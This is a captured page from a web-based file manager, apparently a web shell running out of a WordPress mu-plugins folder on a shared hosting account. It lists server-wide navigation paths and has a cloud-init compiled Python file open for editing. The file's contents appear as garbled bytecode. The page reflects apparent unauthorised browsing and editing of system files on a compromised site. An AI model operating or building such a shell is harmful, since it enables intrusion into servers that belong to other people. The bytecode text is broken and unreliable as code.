📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/umvavtmy/public_html/website_b18404e2/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
cloudinit
›
sources
›
helpers
›
vmware
›
imc
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/cloudinit/sources/helpers/vmware/imc/__pycache__
💾
Free:
47.1 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: config_custom_script.cpython-39.pyc
a '�Dg" � @ s� d dl Z d dlZd dlZd dlmZmZ e �e�ZG dd� de �Z G dd� d�ZG dd� d�ZG d d � d e�Z G dd� de�ZdS ) � N)�subp�utilc @ s e Zd ZdS )�CustomScriptNotFoundN)�__name__� __module__�__qualname__� r r �]/usr/lib/python3.9/site-packages/cloudinit/sources/helpers/vmware/imc/config_custom_script.pyr s r c @ s* e Zd ZdZdZej�ee�ZdZ dZ dS )�CustomScriptConstantz/root/.customizationzcustomize.shz)/.guest-customization-post-reboot-pendingzpost-customize-guest.shN)r r r �CUSTOM_TMP_DIRZCUSTOM_SCRIPT_NAME�os�path�join� CUSTOM_SCRIPT�POST_CUSTOM_PENDING_MARKER�POST_CUSTOM_SCRIPT_NAMEr r r r r s r c @ s e Zd Zdd� Zdd� ZdS )�RunCustomScriptc C s || _ || _tj�||�| _d S �N)� scriptname� directoryr r r � scriptpath)�selfr r r r r �__init__! s zRunCustomScript.__init__c C sp t j�| j�std| j ��t�tj� t � dtj� t�| jtj� t� tj��dd�}tjtj|dd� d S )Nz3Script %s not found!! Cannot execute custom script!zCopying custom script to %s� � id )�mode)r r �existsr r r Z ensure_dirr r �LOG�debugr �copyZload_text_file�replaceZ write_file)r Zcontentr r r �prepare_script&